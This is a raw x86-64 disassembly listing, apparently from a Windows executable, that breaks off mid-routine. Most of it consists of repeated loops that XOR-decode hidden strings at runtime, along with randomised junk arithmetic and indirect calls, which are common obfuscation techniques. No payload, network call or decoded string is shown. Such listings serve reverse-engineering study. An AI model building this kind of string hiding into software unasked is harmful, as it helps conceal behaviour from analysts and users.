movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14001fd20
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140040c00]
mov qword [r15 + rax*8 + 0x418b0], r12
mov qword [r15 + rax*8 + 0x40280], r8
inc rax
mov qword [0x140040c00], rax
lea rdx, [rsp + 0x60]
lea rcx, [0x1400015e0]
call r8
nop
mov rcx, qword [rsp + 0x170]
xor rcx, qword [rsp + 0x178]
mov qword [rsp + 0x170], rcx
mov rax, qword [rsp + 0x180]
mov qword [rax], rcx
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rsp + 0x280]
call fcn.1400250a0
mov dword [rsp + 0x150], 0xffffff9c
mov dword [rsp + 0x154], 0x64
movups xmmword [rsp + 0x160], xmm9
mov dword [rsp + 0x40], esi
movsd qword [rsp + 0x148], xmm10
lea rcx, [rsp + 0x48]
call fcn.140001650
mov qword [rsp + 0x60], 0x64
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x50]
call fcn.140026e80
lea rcx, [rsp + 0x190]
call fcn.140002520
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x190], xmm1
mov qword [rsp + 0x1a0], rsi
lea rcx, [rsp + 0x60]
call fcn.140026ea0
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x190]
call fcn.140024fa0
nop
lea rcx, [rsp + 0x48]
call fcn.140024f60
nop
lea rcx, [rsp + 0x60]
call fcn.140024f60
lea rcx, [rsp + 0x60]
call fcn.140026ef0
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x190]
call fcn.140024fa0
nop
lea rcx, [rsp + 0x48]
call fcn.140024f60
nop
lea rcx, [rsp + 0x60]
call fcn.140024f60
lea rcx, [rsp + 0x60]
call fcn.140026f20
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x190]
call fcn.140024fa0
nop
lea rcx, [rsp + 0x48]
call fcn.140024f60
nop
lea rcx, [rsp + 0x60]
call fcn.140024f60
lea rcx, [rsp + 0x60]
call fcn.140026f50
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x190]
call fcn.140024fa0
nop
lea rcx, [rsp + 0x48]
call fcn.140024f60
nop
lea rcx, [rsp + 0x60]
call fcn.140024f60
lea rcx, [rsp + 0x60]
call fcn.140026f80
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x190]
call fcn.140024fa0
nop
lea rcx, [rsp + 0x48]
call fcn.140024f60
nop
lea rcx, [rsp + 0x60]
call fcn.140024f60
lea rcx, [rsp + 0x60]
call fcn.140026fb0
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x190]
call fcn.140024fa0
nop
lea rcx, [rsp + 0x48]
call fcn.140024f60
nop
lea rcx, [rsp + 0x60]
call fcn.140024f60
lea rcx, [rsp + 0x60]
call fcn.140001650
mov rcx, rax
lea rdx, [rsp + 0x50]
call fcn.1400024c0
test al, al
jns 0x1400203a7
nop
mov esi, 0x186a0
nop word [rax + rax]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
call fcn.140026dd0
mov rbx, qword [rsp + 0x198]
sub rbx, qword [rsp + 0x190]
sar rbx, 3
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
call fcn.140026dd0
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rsp + 0x190]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
call fcn.140026dd0
mov r8d, eax
mov edx, dword [rsp + 0x40]
mov rcx, rdi
call rbx
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x160]
call fcn.140026fe0
movaps xmm5, xmm0
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x160]
call fcn.140026fe0
movaps xmm1, xmm5
call fcn.140002370
movsd xmm1, qword [rsp + 0x148]
addsd xmm0, xmm1
movsd qword [rsp + 0x148], xmm0
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x160]
call fcn.140026fe0
movaps xmm1, xmm8
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x148]
subsd xmm1, xmm0
movsd qword [rsp + 0x148], xmm1
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x160]
call fcn.140026fe0
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
mulsd xmm0, qword [rsp + 0x148]
movsd qword [rsp + 0x148], xmm0
lea rdx, [0x14003597c]
lea rcx, [rsp + 0x200]
call fcn.140026080
nop
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x200]
call fcn.1400022e0
lea rcx, [rsp + 0x1b0]
call fcn.140002520
lea rcx, [rsp + 0x1b0]
call fcn.140025170
nop
lea rax, [rsp + 0x150]
mov qword [rsp + 0x1d0], rax
lea rax, [rsp + 0x280]
mov qword [rsp + 0x1d8], rax
movaps xmm0, xmmword [rsp + 0x1d0]
movdqa xmmword [rsp + 0x70], xmm0
lea r8, [rsp + 0x70]
mov rdx, qword [rsp + 0x1b8]
mov rcx, qword [rsp + 0x1b0]
call fcn.140027070
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x1b0]
call fcn.1400023f0
mov rdx, qword [rsp + 0x1b8]
mov rcx, qword [rsp + 0x1b0]
call fcn.1400270d0
mov ecx, dword [rsp + 0x40]
add ecx, eax
mov dword [rsp + 0x40], ecx
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
call fcn.140026dd0
mov ebx, eax
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
call fcn.140026dd0
mov r8d, ebx
mov edx, eax
call fcn.1400024f0
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
test al, 1
jne 0x140020285
call fcn.140026dd0
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x140020294
call fcn.140026dd0
mov ecx, dword [rsp + 0x40]
sub ecx, eax
mov dword [rsp + 0x40], ecx
mov edi, 5
nop dword [rax]
xor ebx, ebx
nop dword [rax]
nop word [rax + rax]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
call fcn.140026dd0
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x160]
call fcn.140026fe0
movsd xmm5, qword [rsp + 0x148]
addsd xmm0, xmm5
movsd qword [rsp + 0x148], xmm0
lea rdx, [rsp + 0x280]
test bl, 1
jne 0x140020321
lea rcx, [rsp + 0x150]
call fcn.140026dd0
mov ecx, dword [rsp + 0x40]
imul eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x140020348
movsd xmm5, qword [rsp + 0x148]
lea rcx, [rsp + 0x160]
call fcn.140026fe0
addsd xmm0, xmm6
divsd xmm5, xmm0
movsd qword [rsp + 0x148], xmm5
inc ebx
cmp ebx, 5
jl 0x1400202b0
sub rdi, 1
jne 0x1400202a0
lea rcx, [rsp + 0x1b0]
call fcn.140025110
nop
lea rcx, [rsp + 0x200]
call fcn.140026020
sub rsi, 1
jne 0x140020030
lea rcx, [rsp + 0x60]
call fcn.140001650
mov rcx, rax
lea rdx, [rsp + 0x50]
call fcn.1400024c0
test al, al
js 0x140020020
mov edi, dword [0x14003f090]
mov eax, dword [rsp + 0x40]
lea rcx, [rsp + 0x190]
call fcn.140024fd0
movups xmm0, xmmword [0x140037280]
movups xmmword [rsp + 0xe0], xmm0
movups xmm1, xmmword [0x140037290]
movups xmmword [rsp + 0xf0], xmm1
mov eax, dword [0x1400372a0]
mov dword [rsp + 0x100], eax
movzx eax, word [0x1400372a4]
mov word [rsp + 0x104], ax
mov r9d, esi
cmp edi, 2
jl 0x14002059f
movdqa xmm0, xmmword [0x140037370]
movdqa xmmword [rsp + 0x160], xmm0
lea rcx, [rsp + 0xe4]
mov edx, dword [rsp + 0x160]
nop
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm13
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm12
pmuldq xmm1, xmm12
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm14
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm13
movdqa xmm3, xmm4
punpckldq xmm3, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm2, xmm3
pmuldq xmm2, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm2, xmm0, 0xdd
psrad xmm2, 5
pmuldq xmm3, xmm12
pmuldq xmm1, xmm12
shufps xmm3, xmm1, 0xdd
psrad xmm3, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm15
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm7
psubd xmm4, xmm0
andps xmm4, xmm14
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x20
jl 0x140020420
cmp r9d, 0x26
jge 0x1400205fc
movsxd rax, r9d
lea r10, [rsp + 0xe0]
add r10, rax
nop dword [rax]
mov eax, 0x44d72045
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x77
mov eax, 0xb37072d7
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub cl, r8b
lea eax, [r9 + 0x29]
add al, al
add cl, al
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x26
jl 0x1400205b0
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x60], rax
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x200]
call fcn.140027770
nop
lea rcx, [rsp + 0x200]
call fcn.140002e90
movzx ebx, al
lea rcx, [rsp + 0x200]
call fcn.1400026d0
test bl, bl
je 0x1400208cd
movups xmm0, xmmword [str.192v____MF_f]
movups xmmword [rsp + 0x90], xmm0
movups xmm1, xmmword [0x140035d20]
movups xmmword [rsp + 0xa0], xmm1
movups xmm0, xmmword [0x140035d30]
movups xmmword [rsp + 0xb0], xmm0
mov eax, dword [0x140035d40]
mov dword [rsp + 0xc0], eax
movzx eax, byte [0x140035d44]
mov byte [rsp + 0xc4], al
mov r9d, esi
cmp edi, 2
jl 0x14002083f
movdqa xmm0, xmmword [0x140037370]
movdqa xmmword [rsp + 0x160], xmm0
lea rcx, [rsp + 0x94]
mov edx, dword [rsp + 0x160]
nop word [rax + rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm13
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm12
pmuldq xmm1, xmm12
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm14
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm13
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm12
pmuldq xmm1, xmm12
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm14
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x30
jl 0x1400206c0
cmp r9d, 0x35
jge 0x14002089c
movsxd rax, r9d
lea r10, [rsp + 0x90]
add r10, rax
nop dword [rax]
mov eax, 0x44d72045
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x77
mov eax, 0xb37072d7
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub cl, r8b
lea eax, [r9 + 0x29]
add al, al
add cl, al
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x35
jl 0x140020850
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x200]
call fcn.140026080
nop
lea rcx, [rsp + 0x200]
call fcn.140017a30
nop
lea rcx, [rsp + 0x200]
call fcn.140026020
movups xmm0, xmmword [str._1_27]
movups xmmword [rsp + 0xe0], xmm0
movups xmm1, xmmword [0x140036638]
movups xmmword [rsp + 0xf0], xmm1
movsd xmm0, qword [0x140036648]
movsd qword [rsp + 0x100], xmm0
cmp edi, 2
jl 0x140020aa9
mov edx, esi
movdqa xmm0, xmmword [0x140037370]
movdqa xmmword [rsp + 0x160], xmm0
lea rcx, [rsp + 0xe4]
mov r8d, dword [rsp + 0x160]
nop dword [rax + rax]
movd xmm4, edx
pshufd xmm4, xmm4, 0
paddd xmm4, xmm13
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm12
pmuldq xmm1, xmm12
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm14
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, r8d
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [rdx + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm13
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm12
pmuldq xmm1, xmm12
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm14
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, r8d
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x28
jl 0x140020930
jmp 0x140020b0c
lea r10, [rsp + 0xe0]
mov r9d, esi
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x44d72045
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x77
mov eax, 0xb37072d7
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub cl, r8b
lea eax, [r9 + 0x29]
add al, al
add cl, al
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x28
jl 0x140020ac0
lea rdx, [rsp + 0xe0]
lea rcx, [rsp + 0x200]
call fcn.140026080
nop
lea rcx, [rsp + 0x200]
call fcn.140017a30
nop
lea rcx, [rsp + 0x200]
call fcn.140026020
movups xmm0, xmmword [0x140035af8]
movups xmmword [rsp + 0x90], xmm0
movups xmm1, xmmword [0x140035b08]
movups xmmword [rsp + 0xa0], xmm1
movsd xmm0, qword [0x140035b18]
movsd qword [rsp + 0xb0], xmm0
movzx eax, word [0x140035b20]
mov word [rsp + 0xb8], ax
movzx eax, byte [0x140035b22]
mov byte [rsp + 0xba], al
mov r9d, esi
cmp edi, 2
jl 0x140020d3f
movdqa xmm0, xmmword [0x140037370]
movdqa xmmword [rsp + 0x160], xmm0
lea rcx, [rsp + 0x94]
mov edx, dword [rsp + 0x160]
nop word [rax + rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm13
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm12
pmuldq xmm1, xmm12
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm14
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm13
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm12
pmuldq xmm1, xmm12
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm14
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x28
jl 0x140020bc0
cmp r9d, 0x2b
jge 0x140020d9c
movsxd rax, r9d
lea r10, [rsp + 0x90]
add r10, rax
nop dword [rax]
mov eax, 0x44d72045
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x77
mov eax, 0xb37072d7
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub cl, r8b
lea eax, [r9 + 0x29]
add al, al
add cl, al
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x2b
jl 0x140020d50
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x200]
call fcn.140026080
nop
lea rcx, [rsp + 0x200]
call fcn.140017a30
nop
lea rcx, [rsp + 0x200]
call fcn.140026020
mov byte [rsp + 0x80], 0
mov eax, dword [0x140036488]
mov dword [rsp + 0x148], eax
cmp byte [0x14003648b], 0
je 0x140020f0c
cmp edi, 2
jl 0x140020eab
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
movdqa xmm1, xmm13
punpckhdq xmm1, xmm13
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm12
pmuldq xmm1, xmm12
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm14
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
movdqa xmm1, xmm13
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
paddb xmm2, xmmword [0x140037370]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0x148], xmm2
jmp 0x140020f0c
lea r10, [rsp + 0x148]
mov r9d, esi
nop word [rax + rax]
mov eax, 0x44d72045
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x77
mov eax, 0xb37072d7
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub cl, r8b
lea eax, [r9 + 0x29]
add al, al
add cl, al
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 4
jl 0x140020ec0
lea rdx, [rsp + 0x148]
lea rcx, [rsp + 0x1d0]
call fcn.140024020
mov rbx, rax
movups xmm0, xmmword [str.:____fqO]
movups xmmword [rsp + 0x90], xmm0
movups xmm1, xmmword [0x140036350]
movups xmmword [rsp + 0xa0], xmm1
movups xmm0, xmmword [0x140036360]
movups xmmword [rsp + 0xb0], xmm0
movups xmm1, xmmword [0x140036370]
movups xmmword [rsp + 0xc0], xmm1
movsd xmm0, qword [0x140036380]
movsd qword [rsp + 0xd0], xmm0
mov eax, dword [0x140036388]
mov dword [rsp + 0xd8], eax
movzx eax, word [0x14003638c]
mov word [rsp + 0xdc], ax
movzx eax, byte [0x14003638e]
mov byte [rsp + 0xde], al
mov r9d, esi
cmp edi, 2
jl 0x14002114f
movdqa xmm0, xmmword [0x140037370]
movdqa xmmword [rsp + 0x160], xmm0
lea rcx, [rsp + 0x94]
mov edx, dword [rsp + 0x160]
nop word [rax + rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm13
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm12
pmuldq xmm1, xmm12
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm14
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm13
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm12
pmuldq xmm1, xmm12
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm14
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x48
jl 0x140020fd0
cmp r9d, 0x4f
jge 0x1400211ac
movsxd rax, r9d
lea r10, [rsp + 0x90]
add r10, rax
nop dword [rax]
mov eax, 0x44d72045
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x77
mov eax, 0xb37072d7
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub cl, r8b
